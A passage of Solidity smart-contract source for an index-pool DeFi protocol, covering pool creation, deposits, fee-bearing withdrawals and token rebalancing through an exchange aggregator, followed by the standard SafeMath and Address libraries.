_totalWeight.add(_weights[i]); } return _totalWeight; } /** * @notice Add public pool * @param _tokens tokens to purchase in pool. * @param _weights Weight of new tokens. * @param _threshold Threshold amount to purchase token. * @param _rebalanceTime Next Rebalance time. * @param _name itoken name. * @param _symbol itoken symbol. * @dev Add new public pool by any users.Here any users can add there custom pools */ function addPublicPool(address[] memory _tokens, uint[] memory _weights,uint _threshold,uint _rebalanceTime,string memory _name,string memory _symbol,string memory _description) public{ //Currently it will only check if configuration is correct as staking amount is not decided to add the new pool. address _itokenaddr; address _poolOwner; uint _poolIndex = poolInfo.length; address _OracleAddress = IPoolConfiguration(_poolConf).getoracleaddress(); if(_tokens.length == 0){ require(systemAddresses[msg.sender], "EO1"); (_tokens, _weights,_threshold,_rebalanceTime) = IOracle(_OracleAddress).getTokenDetails(_poolIndex); // Get the new itoken name and symbol from pool (_name,_symbol,_description) = IOracle(_OracleAddress).getiTokenDetails(_poolIndex); _poolOwner = address(this); }else{ _poolOwner = msg.sender; } require (_tokens.length == _weights.length, "E06"); require (_tokens.length <= IPoolConfiguration(_poolConf).getmaxTokenSupported(), "E16"); // Deploy new itokens _itokenaddr = Iitokendeployer(itokendeployer).createnewitoken(_name, _symbol); // Add new index. poolInfo.push(PoolInfo({ tokens : _tokens, weights : _weights, totalWeight : calculateTotalWeight(_weights), active : true, rebaltime : _rebalanceTime, currentRebalance : 0, threshold: _threshold, lastrebalance: block.timestamp, itokenaddr: _itokenaddr, owner: _poolOwner, description:_description })); } /** * @notice Internal function to Buy Astra Tokens. * @param _Amount Amount of Astra token to buy. * @dev Buy Astra Tokens if user want to pay fees early exit fees by deposit in Astra */ function buyAstraToken(uint _Amount) internal returns(uint256){ uint _amount; uint[] memory _distribution; IERC20(baseStableCoin).approve(EXCHANGE_CONTRACT, _Amount); // Get the expected amount of Astra you will recieve for the stable coin. (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(baseStableCoin), IERC20(ASTRTokenAddress), _Amount, 2, 0); uint256 minReturn = calculateMinimumReturn(_amount); // Swap the stabe coin for Astra IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(baseStableCoin), IERC20(ASTRTokenAddress), _Amount, minReturn, _distribution, 0); return _amount; } /** * @notice Stake Astra Tokens. * @param _amount Amount of Astra token to stake. * @dev Stake Astra tokens for various functionality like Staking. */ function stakeAstra(uint _amount,bool premium)internal{ //Approve the astra amount to stake. IERC20(ASTRTokenAddress).approve(address(poolChef),_amount); // Stake the amount on chef contract. It will be staked for 6 months by default 0 pool id will be for the astra pool. IMAsterChef(poolChef).depositFromDaaAndDAO(0,_amount,6,msg.sender,premium); } /** * @notice Calculate Fees. * @param _account User account. * @param _amount Amount user wants to withdraw. * @param _poolIndex Pool Index * @dev Calculate Early Exit fees * feeRate = Early Exit fee rate (Const 2%) * startBlock = Deposit block * withdrawBlock = Withdrawal block * n = number of blocks between n1 and n2 * Averageblockperday = Average block per day (assumed: 6500) * feeconstant =early exit fee cool down period (const 182) * Wv = withdrawal value * EEFv = Wv x EEFr - (EEFr x n/ABPx t) * If EEFv <=0 then EEFv = 0 */ function calculatefee(address _account, uint _amount,uint _poolIndex)internal returns(uint256){ // Calculate the early eit fees based on the formula mentioned above. uint256 feeRate = IPoolConfiguration(_poolConf).getEarlyExitfees(); uint256 startBlock = initialDeposit[_account][_poolIndex]; uint256 withdrawBlock = block.number; uint256 Averageblockperday = 6500; uint256 feeconstant = 182; uint256 blocks = withdrawBlock.sub(startBlock); uint feesValue = feeRate.mul(blocks).div(100); feesValue = feesValue.div(Averageblockperday).div(feeconstant); feesValue = _amount.mul(feeRate).div(100).sub(feesValue); return feesValue; } /** * @notice Buy Tokens. * @param _poolIndex Pool Index. * @dev Buy token initially once threshold is reached this can only be called by poolIn function */ function buytokens(uint _poolIndex) internal { // Check if pool configuration is correct or not. // This function is called inernally when user deposit in pool or during rebalance to purchase the tokens for given stable coin amount. require(_poolIndex<poolInfo.length, "E02"); address[] memory returnedTokens; uint[] memory returnedAmounts; uint ethValue = poolPendingbalance[_poolIndex]; uint[] memory buf3; buf = buf3; // Buy tokens for the pending stable amount (returnedTokens, returnedAmounts) = swap2(baseStableCoin, ethValue, poolInfo[_poolIndex].tokens, poolInfo[_poolIndex].weights, poolInfo[_poolIndex].totalWeight,buf); // After tokens are purchased update its details in mapping. for (uint i = 0; i < returnedTokens.length; i++) { tokenBalances[_poolIndex][returnedTokens[i]] = tokenBalances[_poolIndex][returnedTokens[i]].add(returnedAmounts[i]); } // Update the pool details for the purchased tokens totalPoolbalance[_poolIndex] = totalPoolbalance[_poolIndex].add(ethValue); poolPendingbalance[_poolIndex] = 0; if (poolInfo[_poolIndex].currentRebalance == 0){ poolInfo[_poolIndex].currentRebalance = poolInfo[_poolIndex].currentRebalance.add(1); } } /** * @param _amount Amount of user to Update. * @param _poolIndex Pool Index. * @dev Update user Info at the time of deposit in pool */ function updateuserinfo(uint _amount,uint _poolIndex) internal { // Update the user details in mapping. This function is called internally when user deposit in pool or withdraw from pool. if(poolUserInfo[_poolIndex][msg.sender].active){ // Check if user account is synced with latest rebalance or not. In case not it will update its details. if(poolUserInfo[_poolIndex][msg.sender].currentPool < poolInfo[_poolIndex].currentRebalance){ poolUserInfo[_poolIndex][msg.sender].currentBalance = poolUserInfo[_poolIndex][msg.sender].currentBalance.add(poolUserInfo[_poolIndex][msg.sender].pendingBalance); poolUserInfo[_poolIndex][msg.sender].currentPool = poolInfo[_poolIndex].currentRebalance; poolUserInfo[_poolIndex][msg.sender].pendingBalance = _amount; } else{ poolUserInfo[_poolIndex][msg.sender].pendingBalance = poolUserInfo[_poolIndex][msg.sender].pendingBalance.add(_amount); } } } /** * @dev Get the Token details in Index pool. */ function getIndexTokenDetails(uint _poolIndex) external view returns(address[] memory){ return (poolInfo[_poolIndex].tokens); } /** * @dev Get the Token weight details in Index pool. */ function getIndexWeightDetails(uint _poolIndex) external view returns(uint[] memory){ return (poolInfo[_poolIndex].weights); } /** @param _amount Amount to chec for slippage. * @dev Function to calculate the Minimum return for slippage */ function calculateMinimumReturn(uint _amount) internal view returns (uint){ // This will get the slippage rate from configuration contract and calculate how much amount user can get after slippage. uint256 sliprate= IPoolConfiguration(_poolConf).getslippagerate(); uint rate = _amount.mul(sliprate).div(100); // Return amount after calculating slippage return _amount.sub(rate); } /** * @dev Get amount of itoken to be received. * Iv = index value * Pt = total iTokens outstanding * Dv = deposit USDT value * DPv = total USDT value in the pool * pTR = iTokens received * If Iv = 0 then pTR = DV * If pt > 0 then pTR = (Dv/Iv)* Pt */ function getItokenValue(uint256 outstandingValue, uint256 indexValue, uint256 depositValue, uint256 totalDepositValue) public view returns(uint256){ // Get the itoken value based on the pool value and total itokens. This method is used in pool In. // outstandingValue is total itokens. // Index value is pool current value. // deposit value is stable coin amount user will deposit // totalDepositValue is total stable coin value deposited over the pool. if(indexValue == uint(0)){ return depositValue; }else if(outstandingValue>0){ return depositValue.mul(outstandingValue).div(indexValue); } else{ return depositValue; } } /** * @dev Deposit in Indices pool either public pool or pool created by Astra. * @param _tokens Token in which user want to give the amount. Currenly ony Stable stable coin is used. * @param _values Amount to spend. * @param _poolIndex Pool Index in which user wants to invest. */ function poolIn(address[] calldata _tokens, uint[] calldata _values, uint _poolIndex) external payable nonReentrant { // Require conditions to check if user is whitelisted or check the token configuration which user is depositing // Only stable coin and Ether can be used in the initial stages. require(poolUserInfo[_poolIndex][msg.sender].isenabled, "E07"); require(_poolIndex<poolInfo.length, "E02"); require(_tokens.length <2 && _values.length<2, "E08"); // Check if is the first deposit or user already deposit before this. It will be used to calculate early exit fees if(!existingUser[msg.sender][_poolIndex]){ existingUser[msg.sender][_poolIndex] = true; initialDeposit[msg.sender][_poolIndex] = block.number; } // Variable that are used internally for logic/calling other functions. uint ethValue; uint fees; uint stableValue; address[] memory returnedTokens; uint[] memory returnedAmounts; //Global variable mainted to push values in it. Now we are removing the any value that are stored prior to this. _TokensStable = returnedTokens; _ValuesStable = returnedAmounts; //Check if give token length is greater than 0 or not. // If it is zero then user should deposit in ether. // Other deposit in stable coin if(_tokens.length == 0) { // User must deposit some amount in pool require (msg.value > 0.001 ether, "E09"); // Swap the ether with stable coin. ethValue = msg.value; _TokensStable.push(baseStableCoin); _ValuesStable.push(1); (returnedTokens, returnedAmounts) = swap(ETH_ADDRESS, ethValue, _TokensStable, _ValuesStable, 1); stableValue = returnedAmounts[0]; } else { // //Check if the entered address in the parameter of stable coin or not. // bool checkaddress = (address(_tokens[0]) == address(baseStableCoin)); // // Check if user send some stable amount and user account has that much stable coin balance // require(checkaddress,"poolIn: Can only submit Stable coin"); // require(msg.value == 0, "poolIn: Submit one token at a time"); require(IPoolConfiguration(_poolConf).checkStableCoin(_tokens[0]) == true,"E10"); require(IERC20(_tokens[0]).balanceOf(msg.sender) >= _values[0], "E11"); if(address(_tokens[0]) == address(baseStableCoin)){ stableValue = _values[0]; //Transfer the stable coin from users addresses to contract address. IERC20(baseStableCoin).safeTransferFrom(msg.sender,address(this),stableValue); }else{ IERC20(_tokens[0]).safeTransferFrom(msg.sender,address(this),_values[0]); stableValue = sellTokensForStable(_tokens, _values); } require(stableValue > 0.001 ether,"E09"); } // else{ // require(supportedStableCoins[_tokens[0]] == true,"poolIn: Can only submit Stable coin"); // // require(IERC20(_tokens[0]).balanceOf(msg.sender) >= _values[0], "poolIn: Not enough tokens"); // IERC20(_tokens[0]).safeTransferFrom(msg.sender,address(this),_values[0]); // stableValue = sellTokensForStable(_tokens, _values); // } // Get the value of itoken to mint. uint256 ItokenValue = getItokenValue(Iitoken(poolInfo[_poolIndex].itokenaddr).totalSupply(), getPoolValue(_poolIndex), stableValue, totalPoolbalance[_poolIndex]); //Update the balance initially as the pending amount. Once the tokens are purchased it will be updated. poolPendingbalance[_poolIndex] = poolPendingbalance[_poolIndex].add(stableValue); //Check if total balance in pool if the threshold is reached. uint checkbalance = totalPoolbalance[_poolIndex].add(poolPendingbalance[_poolIndex]); //Update the user details in mapping. poolUserInfo[_poolIndex][msg.sender].Itokens = poolUserInfo[_poolIndex][msg.sender].Itokens.add(ItokenValue); updateuserinfo(stableValue,_poolIndex); //Buy the tokens if threshold is reached. if (poolInfo[_poolIndex].currentRebalance == 0){ if(poolInfo[_poolIndex].threshold <= checkbalance){ buytokens( _poolIndex); } } // poolOutstandingValue[_poolIndex] = poolOutstandingValue[_poolIndex].add(); // Again update details after tokens are bought. updateuserinfo(0,_poolIndex); //Mint new itokens and store details in mapping. Iitoken(poolInfo[_poolIndex].itokenaddr).mint(msg.sender, ItokenValue); } /** * @dev Withdraw from Pool using itoken. * @param _poolIndex Pool Index to withdraw funds from. * @param stakeEarlyFees Choose to stake early fees or not. * @param withdrawAmount Amount to withdraw */ function withdraw(uint _poolIndex, bool stakeEarlyFees,bool stakePremium, uint withdrawAmount) external nonReentrant{ require(_poolIndex<poolInfo.length, "E02"); require(Iitoken(poolInfo[_poolIndex].itokenaddr).balanceOf(msg.sender)>=withdrawAmount, "E11"); // Update user info before withdrawal. updateuserinfo(0,_poolIndex); // Get the user share on the pool uint userShare = poolUserInfo[_poolIndex][msg.sender].currentBalance.add(poolUserInfo[_poolIndex][msg.sender].pendingBalance).mul(withdrawAmount).div(poolUserInfo[_poolIndex][msg.sender].Itokens); uint _balance; uint _pendingAmount; // Check if withdrawn amount is greater than pending amount. It will use the pending stable balance after that it will if(userShare>poolUserInfo[_poolIndex][msg.sender].pendingBalance){ _balance = userShare.sub(poolUserInfo[_poolIndex][msg.sender].pendingBalance); _pendingAmount = poolUserInfo[_poolIndex][msg.sender].pendingBalance; }else{ _pendingAmount = userShare; } // Call the functions to sell the tokens and recieve stable based on the user share in that pool uint256 _totalAmount = withdrawTokens(_poolIndex,_balance); uint fees; uint256 earlyfees; uint256 pendingEarlyfees; // Check if user actually make profit or not. if(_totalAmount>_balance){ // Charge the performance fees on profit fees = _totalAmount.sub(_balance).mul(IPoolConfiguration(_poolConf).getperformancefees()).div(100); } earlyfees = earlyfees.add(calculatefee(msg.sender,_totalAmount.sub(fees),_poolIndex)); pendingEarlyfees =calculatefee(msg.sender,_pendingAmount,_poolIndex); poolUserInfo[_poolIndex][msg.sender].Itokens = poolUserInfo[_poolIndex][msg.sender].Itokens.sub(withdrawAmount); //Update details in mapping for the withdrawn aount. poolPendingbalance[_poolIndex] = poolPendingbalance[_poolIndex].sub( _pendingAmount); poolUserInfo[_poolIndex][msg.sender].pendingBalance = poolUserInfo[_poolIndex][msg.sender].pendingBalance.sub(_pendingAmount); totalPoolbalance[_poolIndex] = totalPoolbalance[_poolIndex].sub(_balance); poolUserInfo[_poolIndex][msg.sender].currentBalance = poolUserInfo[_poolIndex][msg.sender].currentBalance.sub(_balance); // Burn the itokens and update details in mapping. Iitoken(poolInfo[_poolIndex].itokenaddr).burn(msg.sender, withdrawAmount); withdrawUserAmount(_poolIndex,fees,_totalAmount.sub(fees).sub(earlyfees),_pendingAmount.sub(pendingEarlyfees),earlyfees.add(pendingEarlyfees),stakeEarlyFees,stakePremium); emit Withdrawn(msg.sender, _balance); } // Withdraw amoun and charge fees. Now this single function will be used instead of chargePerformancefees,chargeEarlyFees,withdrawStable,withdrawPendingAmount. // Some comment code line is for refrence what original code looks like. function withdrawUserAmount(uint _poolIndex,uint fees,uint totalAmount,uint _pendingAmount, uint earlyfees,bool stakeEarlyFees,bool stakePremium) internal{ // This logic is similar to charge early fees. // If user choose to stake early exit fees it will buy astra and stake them. // If user don't want to stake it will be distributes among stakers and index onwer. // Distribution logic is similar to performance fees so it is integrated with that. Early fees is added with performance fees. if(stakeEarlyFees == true){ uint returnAmount= buyAstraToken(earlyfees); stakeAstra(returnAmount,false); }else{ fees = fees.add(earlyfees); } // This logic is similar to withdrawStable stable coins. // If user choose to stake the amount instead of withdraw it will buy Astra and stake them. // If user don't want to stake then they will recieve on there account in base stable coins. if(stakePremium == true){ uint returnAmount= buyAstraToken(totalAmount); stakeAstra(returnAmount,true); } else{ transferTokens(baseStableCoin,msg.sender,totalAmount); // IERC20(baseStableCoin).safeTransfer(msg.sender, totalAmount); } // This logic is similar to withdrawPendingAmount. Early exit fees for pending amount is calculated previously. // It transfer the pending amount to user account for which token are not bought. transferTokens(baseStableCoin,msg.sender,_pendingAmount); // IERC20(baseStableCoin).safeTransfer(msg.sender, _pendingAmount); // This logic is similar to chargePerformancefees. // 80 percent of fees will be send to the inde creator. Remaining 20 percent will be distributed among stakers. if(fees>0){ uint distribution = fees.mul(80).div(100); if(poolInfo[_poolIndex].owner==address(this)){ transferTokens(baseStableCoin,managerAddresses,distribution); // IERC20(baseStableCoin).safeTransfer(managerAddresses, distribution); }else{ transferTokens(baseStableCoin,poolInfo[_poolIndex].owner,distribution); //IERC20(baseStableCoin).safeTransfer(poolInfo[_poolIndex].owner, distribution); } uint returnAmount= buyAstraToken(fees.sub(distribution)); transferTokens(ASTRTokenAddress,address(poolChef),returnAmount); // IERC20(ASTRTokenAddress).safeTransfer(address(poolChef),returnAmount); IMAsterChef(poolChef).distributeExitFeeShare(returnAmount); } } function transferTokens(address _token, address _reciever,uint _amount) internal{ IERC20(_token).safeTransfer(_reciever, _amount); } /** * @dev Internal fucntion to Withdraw from Pool using itoken. * @param _poolIndex Pool Index to withdraw funds from. * @param _balance Amount to withdraw from Pool. */ function withdrawTokens(uint _poolIndex,uint _balance) internal returns(uint256){ uint localWeight; // Check if total pool balance is more than 0. if(totalPoolbalance[_poolIndex]>0){ localWeight = _balance.mul(1 ether).div(totalPoolbalance[_poolIndex]); // localWeight = _balance.mul(1 ether).div(Iitoken(poolInfo[_poolIndex].itokenaddr).totalSupply()); } uint _totalAmount; // Run loop over the tokens in the indices pool to sell the user share. for (uint i = 0; i < poolInfo[_poolIndex].tokens.length; i++) { uint _amount; uint[] memory _distribution; // Get the total token balance in that Pool. uint tokenBalance = tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]]; // Get the user share from the total token amount uint withdrawBalance = tokenBalance.mul(localWeight).div(1 ether); if (withdrawBalance == 0) { continue; } // Skip if withdraw amount is 0 if (poolInfo[_poolIndex].tokens[i] == baseStableCoin) { _totalAmount = _totalAmount.add(withdrawBalance); continue; } // Approve the Exchnage contract before selling thema. IERC20(poolInfo[_poolIndex].tokens[i]).approve(EXCHANGE_CONTRACT, withdrawBalance); // Get the expected amount of tokens to sell (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(poolInfo[_poolIndex].tokens[i]), IERC20(baseStableCoin), withdrawBalance, 2, 0); if (_amount == 0) { continue; } _totalAmount = _totalAmount.add(_amount); tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]] = tokenBalance.sub(withdrawBalance); // Swap the tokens and get stable in return so that users can withdraw. IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(poolInfo[_poolIndex].tokens[i]), IERC20(baseStableCoin), withdrawBalance, _amount, _distribution, 0); } return _totalAmount; } /** * @param _poolIndex Pool Index to withdraw funds from. * @param _pendingAmount Pending Amounts to withdraw from Pool. * @dev Withdraw the pending amount that is submitted before next. */ function withdrawPendingAmount(uint256 _poolIndex,uint _pendingAmount)internal returns(uint256){ uint _earlyfee; // Withdraw the pending Stable amount for which no tokens are bought. Here early exit fees wil be charged before transfering to user if(_pendingAmount>0){ //Calculate how much early exit fees must be applicable _earlyfee = calculatefee(msg.sender,_pendingAmount,_poolIndex); IERC20(baseStableCoin).safeTransfer(msg.sender, _pendingAmount.sub(_earlyfee)); } return _earlyfee; } /** * @dev Update pool function to do the rebalaning. * @param _tokens New tokens to purchase after rebalance. * @param _weights Weight of new tokens. * @param _threshold Threshold amount to purchase token. * @param _rebalanceTime Next Rebalance time. * @param _poolIndex Pool Index to do rebalance. */ function updatePool(address[] memory _tokens,uint[] memory _weights,uint _threshold,uint _rebalanceTime,uint _poolIndex) public nonReentrant{ require(block.timestamp >= poolInfo[_poolIndex].rebaltime,"E12"); // require(poolUserInfo[_poolIndex][msg.sender].currentBalance>poolInfo[_poolIndex].threshold,"Threshold not reached"); // Check if entered indices pool is public or Astra managed. // Also check if is public pool then request came from the owner or not. if(poolInfo[_poolIndex].owner != address(this)){ require(_tokens.length == _weights.length, "E02"); require(poolInfo[_poolIndex].owner == msg.sender, "E13"); }else{ (_tokens, _weights,_threshold,_rebalanceTime) = IOracle(IPoolConfiguration(_poolConf).getoracleaddress()).getTokenDetails(_poolIndex); } require (_tokens.length <= IPoolConfiguration(_poolConf).getmaxTokenSupported(), "E16"); address[] memory newTokens; uint[] memory newWeights; uint newTotalWeight; uint _newTotalWeight; // Loop over the tokens details to update its total weight. for(uint i = 0; i < _tokens.length; i++) { require (_tokens[i] != ETH_ADDRESS && _tokens[i] != WETH_ADDRESS); _newTotalWeight = _newTotalWeight.add(_weights[i]); } // Update new tokens details newTokens = _tokens; newWeights = _weights; newTotalWeight = _newTotalWeight; // Update the pool details for next rebalance poolInfo[_poolIndex].threshold = _threshold; poolInfo[_poolIndex].rebaltime = _rebalanceTime; //Sell old tokens and buy new tokens. rebalance(newTokens, newWeights,newTotalWeight,_poolIndex); // Buy the token for Stable which is in pending state. if(poolPendingbalance[_poolIndex]>0){ buytokens(_poolIndex); } } /** * @dev Enable or disable Pool can only be called by admin */ function setPoolStatus(address _exchange, address _weth, address _stable) external systemOnly { // poolInfo[_poolIndex].active = _active; EXCHANGE_CONTRACT = _exchange; WETH_ADDRESS = _weth; baseStableCoin = _stable; } /** * @dev Internal function called while updating the pool. */ function rebalance(address[] memory newTokens, uint[] memory newWeights,uint newTotalWeight, uint _poolIndex) internal { require(poolInfo[_poolIndex].currentRebalance >0, "E14"); // Variable used to call the functions internally uint[] memory buf2; buf = buf2; uint ethValue; address[] memory returnedTokens; uint[] memory returnedAmounts; //Updating the balancing of tokens you are selling in storage and make update the balance in main mapping. for (uint i = 0; i < poolInfo[_poolIndex].tokens.length; i++) { buf.push(tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]]); tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]] = 0; } // Sell the Tokens in pool to recieve tokens if(totalPoolbalance[_poolIndex]>0){ ethValue = sellTokensForStable(poolInfo[_poolIndex].tokens, buf); } // Updating pool configuration/mapping to update the new tokens details poolInfo[_poolIndex].tokens = newTokens; poolInfo[_poolIndex].weights = newWeights; poolInfo[_poolIndex].totalWeight = newTotalWeight; poolInfo[_poolIndex].currentRebalance = poolInfo[_poolIndex].currentRebalance.add(1); poolInfo[_poolIndex].lastrebalance = block.timestamp; // Return if you recieve 0 value for selling all the tokens if (ethValue == 0) { return; } uint[] memory buf3; buf = buf3; // Buy new tokens for the pool. if(totalPoolbalance[_poolIndex]>0){ //Buy new tokens (returnedTokens, returnedAmounts) = swap2(baseStableCoin, ethValue, newTokens, newWeights,newTotalWeight,buf); // Update those tokens details in mapping. for(uint i = 0; i < poolInfo[_poolIndex].tokens.length; i++) { tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]] = buf[i]; } } } /** * @dev Get the current value of pool to check the value of pool */ function getPoolValue(uint256 _poolIndex)public view returns(uint256){ // Used to get the Expected amount for the token you are selling. uint _amount; // Used to get the distributing dex details for the token you are selling. uint[] memory _distribution; // Return the total Amount of Stable you will recieve for selling. This will be total value of pool that it has purchased. uint _totalAmount; // Run loops over the tokens in the pool to get the token worth. for (uint i = 0; i < poolInfo[_poolIndex].tokens.length; i++) { (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(poolInfo[_poolIndex].tokens[i]), IERC20(baseStableCoin), tokenBalances[_poolIndex][poolInfo[_poolIndex].tokens[i]], 2, 0); if (_amount == 0) { continue; } _totalAmount = _totalAmount.add(_amount); } // Return the total values of pool locked return _totalAmount; } /** * @dev Function to swap two token. Used by other functions during buying and selling. It used where ether is used like at the time of ether deposit. */ function swap(address _token, uint _value, address[] memory _tokens, uint[] memory _weights, uint _totalWeight) internal returns(address[] memory, uint[] memory) { // Use to get the share of particular token based on there share. uint _tokenPart; // Used to get the Expected amount for the token you are selling. uint _amount; // Used to get the distributing dex details for the token you are selling. uint[] memory _distribution; // Run loops over the tokens in the parametess to buy them. for(uint i = 0; i < _tokens.length; i++) { // Calculate the share of token based on the weight and the buy for that. _tokenPart = _value.mul(_weights[i]).div(_totalWeight); // Get the amount of tokens pool will recieve based on the token selled. (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_token), IERC20(_tokens[i]), _tokenPart, 2, 0); // calculate slippage uint256 minReturn = calculateMinimumReturn(_amount); _weights[i] = _amount; // Check condition if token you are selling is ETH or another ERC20 and then sell the tokens. if (_token == ETH_ADDRESS) { _amount = IOneSplit(EXCHANGE_CONTRACT).swap.value(_tokenPart)(IERC20(_token), IERC20(_tokens[i]), _tokenPart, minReturn, _distribution, 0); } else { IERC20(_tokens[i]).approve(EXCHANGE_CONTRACT, _tokenPart); _amount = IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_token), IERC20(_tokens[i]), _tokenPart, minReturn, _distribution, 0); } } return (_tokens, _weights); } /** * @dev Function to swap two token. It used in case of ERC20 - ERC20 swap. */ function swap2(address _token, uint _value, address[] memory newTokens, uint[] memory newWeights,uint newTotalWeight, uint[] memory _buf) internal returns(address[] memory, uint[] memory) { // Use to get the share of particular token based on there share. uint _tokenPart; // Used to get the Expected amount for the token you are selling. uint _amount; buf = _buf; // Used to get the distributing dex details for the token you are selling. uint[] memory _distribution; // Approve before selling the tokens IERC20(_token).approve(EXCHANGE_CONTRACT, _value); // Run loops over the tokens in the parametess to buy them. for(uint i = 0; i < newTokens.length; i++) { _tokenPart = _value.mul(newWeights[i]).div(newTotalWeight); if(_tokenPart == 0) { buf.push(0); continue; } (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_token), IERC20(newTokens[i]), _tokenPart, 2, 0); uint256 minReturn = calculateMinimumReturn(_amount); buf.push(_amount); newWeights[i] = _amount; _amount= IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_token), IERC20(newTokens[i]), _tokenPart, minReturn, _distribution, 0); } return (newTokens, newWeights); } /** * @dev Sell tokens for Stable is used during the rebalancing to sell previous token and buy new tokens */ function sellTokensForStable(address[] memory _tokens, uint[] memory _amounts) internal returns(uint) { // Used to get the Expected amount for the token you are selling. uint _amount; // Used to get the distributing dex details for the token you are selling. uint[] memory _distribution; // Return the total Amount of Stable you will recieve for selling uint _totalAmount; // Run loops over the tokens in the parametess to sell them. for(uint i = 0; i < _tokens.length; i++) { if (_amounts[i] == 0) { continue; } if (_tokens[i] == baseStableCoin) { _totalAmount = _totalAmount.add(_amounts[i]); continue; } // Approve token access to Exchange contract. IERC20(_tokens[i]).approve(EXCHANGE_CONTRACT, _amounts[i]); // Get the amount of Stable tokens you will recieve for selling tokens (_amount, _distribution) = IOneSplit(EXCHANGE_CONTRACT).getExpectedReturn(IERC20(_tokens[i]), IERC20(baseStableCoin), _amounts[i], 2, 0); // Skip remaining execution if no token is available if (_amount == 0) { continue; } // Calculate slippage over the the expected amount uint256 minReturn = calculateMinimumReturn(_amount); _totalAmount = _totalAmount.add(_amount); // Actually swap tokens _amount = IOneSplit(EXCHANGE_CONTRACT).swap(IERC20(_tokens[i]), IERC20(baseStableCoin), _amounts[i], minReturn, _distribution, 0); } return _totalAmount; } } pragma solidity ^0.5.0; // import "./token.sol"; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { 